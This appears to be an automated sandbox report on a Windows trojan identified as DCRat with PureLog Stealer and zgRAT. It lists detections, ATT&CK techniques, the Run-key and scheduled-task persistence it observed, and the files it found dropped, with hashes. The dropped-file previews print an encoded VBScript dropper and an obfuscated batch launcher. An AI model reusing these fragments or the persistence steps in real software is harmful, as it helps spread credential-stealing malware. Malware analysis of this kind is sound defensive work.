Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\SchCache\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, type: DROPPED
Source: Yara match	File source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	141 Masquerading	OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	31 Registry Run Keys / Startup Folder	31 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	37 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7aHY4r6vXR.exe	48%	Virustotal		Browse
7aHY4r6vXR.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
7aHY4r6vXR.exe	100%	Avira	VBS/Runner.VPG
7aHY4r6vXR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Avira	HEUR/AGEN.1339906
C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\Desktop\ARUSTYfT.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\user\Desktop\riACjval.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat	100%	Avira	BAT/Delbat.C
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Avira	HEUR/AGEN.1339906
C:\Windows\SchCache\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1339906
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\hzhmzTUD.log	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Joe Sandbox ML
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ARUSTYfT.log	100%	Joe Sandbox ML
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Joe Sandbox ML
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	100%	Joe Sandbox ML
C:\Windows\SchCache\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	60%	Virustotal		Browse
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	60%	Virustotal		Browse
C:\Users\user\Desktop\ARUSTYfT.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\ARUSTYfT.log	69%	Virustotal		Browse
C:\Users\user\Desktop\VObntHLa.log	25%	ReversingLabs
C:\Users\user\Desktop\VObntHLa.log	35%	Virustotal		Browse
C:\Users\user\Desktop\hzhmzTUD.log	8%	ReversingLabs
C:\Users\user\Desktop\hzhmzTUD.log	11%	Virustotal		Browse
C:\Users\user\Desktop\riACjval.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\SchCache\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	bridgeServerFontSavesMonitor.exe, 00000004.00000002.1849804431.000000000393F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587305
Start date and time:	2025-01-10 05:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7aHY4r6vXR.exe renamed because original name is a hash value
Original Sample Name:	ccd01051f9e8bf3301b3bdd406f0bc24.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@45/29@0/0
EGA Information:	Successful, ratio: 30%
HCA Information:	Successful, ratio: 53% Number of executed functions: 474 Number of non-executed functions: 98
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 184.28.90.27, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, 506691cm.renyash.ru, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SfLAFHFXIbHzHGgilQgXtKOw.exe, PID 1748 because it is empty
Execution Graph export aborted for target SfLAFHFXIbHzHGgilQgXtKOw.exe, PID 6644 because it is empty
Execution Graph export aborted for target SfLAFHFXIbHzHGgilQgXtKOw.exe, PID 7576 because it is empty
Execution Graph export aborted for target SfLAFHFXIbHzHGgilQgXtKOw.exe, PID 8120 because it is empty
Execution Graph export aborted for target bridgeServerFontSavesMonitor.exe, PID 7352 because it is empty
Execution Graph export aborted for target bridgeServerFontSavesMonitor.exe, PID 7364 because it is empty
Execution Graph export aborted for target bridgeServerFontSavesMonitor.exe, PID 8036 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:42:16	Task Scheduler	Run new task: RuntimeBroker path: "C:\Windows\SchCache\RuntimeBroker.exe"
04:42:17	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Windows\SchCache\RuntimeBroker.exe"
04:42:17	Task Scheduler	Run new task: SfLAFHFXIbHzHGgilQgXtKOw path: "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:42:17	Task Scheduler	Run new task: SfLAFHFXIbHzHGgilQgXtKOwS path: "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:42:19	Task Scheduler	Run new task: bridgeServerFontSavesMonitor path: "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
04:42:19	Task Scheduler	Run new task: bridgeServerFontSavesMonitorb path: "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
04:42:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:42:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\SchCache\RuntimeBroker.exe"
04:42:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
04:42:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:42:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\SchCache\RuntimeBroker.exe"
04:43:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
04:43:08	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:43:16	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\SchCache\RuntimeBroker.exe"
04:43:24	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
04:43:41	Autostart	Run: WinLogon Shell "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:43:49	Autostart	Run: WinLogon Shell "C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:43:57	Autostart	Run: WinLogon Shell "C:\Windows\SchCache\RuntimeBroker.exe"
04:44:05	Autostart	Run: WinLogon Shell "C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:44:13	Autostart	Run: WinLogon Shell "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
04:44:21	Autostart	Run: WinLogon Shell "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\ARUSTYfT.log	0V2JsCrGUB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	PlZA6b48MW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Z90Z9bYzPa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	onlysteal.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\ChainBroker\5a6d6b3e5e3059

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with very long lines (871), with no line terminators
Category:	dropped
Size (bytes):	871
Entropy (8bit):	5.902075817109225
Encrypted:	false
SSDEEP:	24:9xkrx39CWaxjUv2dP9SP/al8dmOQrmjG5JEC61v:9xkrxN6mv2dlJYbVjiJEB
MD5:	7FA44E00D4EB831D3134C382ABD96AFA
SHA1:	A09C17507669C4331A994A90D63F43E53464C0BE
SHA-256:	F6D31FD6F93AE1785D660A505A44869A38C6D7F56C11AC716C561752D70D813E
SHA-512:	4B1B005D379A2AF72404421B27BD5F8F44E8290D38CF429CB2A4CD1AF7418CBC791A1B7D3958F4ECD8C89E70F0A80CE45C52569953EFC15E7835A74320A88F28
Malicious:	false
Preview:	aM6BNeCvEXQhMD0W1VJkDVJrgWS48Qc2WoD6YKtyItKL0fq6gRBLg6yEDOf0MHwy4YLhA37qmVbTL70BpVXrOQWZ093Jp2mA6WQcUJ6mTVjKee2FYdL0uEjoBvrAAxAutbXyqXrgZvY3rL4VGxvLrvQ1wmbib5mgUzbDHDYAwoa9qq7z0W3MBzC7KfCE6IEdI1j1u1NCZuZCURLGolsFCZefwd2mBUEnj70zHFF9I0xQZ9m3U5ZVa9btXDER8lAEqwdXbV9jfs7LlNFw09RG4sMkgHcDAyAgztkngPc860zrBPHJ8Ra9U4J8j21T36irrbW2ncQlgTKE2fiQ9SFsYBM5jlEnXIEASIAk3OfgBycAuFFDUkTl0zTpObTBXmNYPKwtf7XvwirjjLKefATwydJczUVc5eIZlEvkSViXNiySHtGDQzfXTbjwBT4Kl40SaS8fakLJb6iQo1VFOSLF8vFKe9j9bXvTsg1zvkmpnW5X2THJ8y6SsuUpMyAaBMsEKPhI9fTnpfcmzrRL1ZAmack8LMm7jLobn1Mmv9KdfTnMRszegzjlMFnspj6x2VDd1B88epa2OhHHzXqdWIbumCPhOe6MCXkJPJVQt090YrXo8f2S2dau4T1yvauAsOz1671qBZtgIkV5pkjsloTj60O5RheTG9HK1fsAoMQct4lT85IL1CYE4Q4Fs5Ye5aaIcKDK1iEYY0zCP47VYSbDkDPlknRsyvhTdc0x18UT89qDa10x8CFm8WiZ4cjNQWkmTgjwEKda8IFlWMKtxdtvq5UH4b2ZYGClZDu4SDtxipnzQ7CsS0awmy6XLb1mSEB1GdLSbQatt6MASe17YJHipQ9kHXt1MHfenvtwvtR

C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat

Download File

Process:	C:\Users\user\Desktop\7aHY4r6vXR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	5.186248210470621
Encrypted:	false
SSDEEP:	3:s3IhoXw2EAHoAE5BCAnDAXwYvQQKb4cxAJA:s4hoXJiAaBDcAsv5+
MD5:	746D44098AB92E627CEBE72CFA9C560D
SHA1:	B51342547C4B9227DF75ED19D60C462827F83204
SHA-256:	7CA477B6F171461FA1B2AE2350A938B518D4323A03D4ACC95DED7B4F518D1147
SHA-512:	B5F3DAA4BEE7A3317C1BF23B0C0D12861742328478C31B7714798B5BE7ECD7AC6CC799532103DB9A8A2A0D90A347B553B92F9CBFAD43B2E19E57A16029449B03
Malicious:	false
Preview:	%lRKYody%%yftcuPKMMW%..%BUwdVVcSZJqB%"C:\ChainBroker/bridgeServerFontSavesMonitor.exe"%bCOwNyJisKelb%

C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe

Download File

Process:	C:\Users\user\Desktop\7aHY4r6vXR.exe
File Type:	data
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.903171335373703
Encrypted:	false
SSDEEP:	6:GogwqK+NkLzWbH9WF08nZNDd3RL1wQJRimhclR4Pe5Xkt3JhC+Es:GyMCzWL74d3XBJbhcl2mM97
MD5:	EE1D4DD46A1CB9B8DCF5841DAE6BBC93
SHA1:	7B5F9134A578673858B826C698DC0360DB7D565F
SHA-256:	D2C34E5DA842BF7ECB384880D6DBF05DFFD1E59775961E017A281E3958F0B434
SHA-512:	9D1DB891B0589E02812632D92EC297AE526ABDEB7D37367728C0B6CFDEB0FF34ACD9F5D8833654984FCEC124C328EB41E4AC805FB1F6D9477E2933731EED02B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^2AAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJZ4mk.ADK3..zJq.4jveC0X.;-p&Ebd^Glyq4AA.tqOqOwSiV$W-{7Xs$Ww6X/8..H (lDJ~,!B~0mVd+R0UAAA==^#~@.

C:\ChainBroker\bridgeServerFontSavesMonitor.exe

Download File

Process:	C:\Users\user\Desktop\7aHY4r6vXR.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 60%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 60%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Users\Default\AppData\Local\Temp\b1829d2998bf98

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.776378339472837
Encrypted:	false
SSDEEP:	6:huWSxrXxqGguy7n/nl1s0ucZQThCFZvYD8hM:ZAqLBTl5ZqhIZvYwhM
MD5:	8D8B318D31D4835D1455587260D09E12
SHA1:	D5A89996D8863F444B37B0835FA556B65BCD6401
SHA-256:	7A909EF5ACE9255554880B57988195D1B92F3EF0E64D1BAAECCA7776FD30A44C
SHA-512:	6989C99E035935F4BF9E47B253FCDB5D6871489490B98F24F058FAA18ECEF26FBCF532ECC3CC76B288EF16EA0320BFBB42C32DC8ADAC88BC673B849A182EEBD2
Malicious:	false
Preview:	3R1KpmqQTT0zWP6VG9TlmYNf7RVALWZ7IjPpJSdhfMBqBkjKjbThEEkeEVNYQpF742qw9RLxfwFaWgdWsLbtC12D9vkyFFQ0GEvI3wKSPfCS9KHh10pFOV4D9mxOqXsZfOTSuVd5AIegykEznC6PZLmuKsIR96m1xmwu0zxgWuFF1YOZi7lnbcAUmjHCMM5EgmsMyT8xPZ2oFg3vdtsCU8aVmb

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SfLAFHFXIbHzHGgilQgXtKOw.exe.log

Download File

Process:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\bridgeServerFontSavesMonitor.exe.log

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
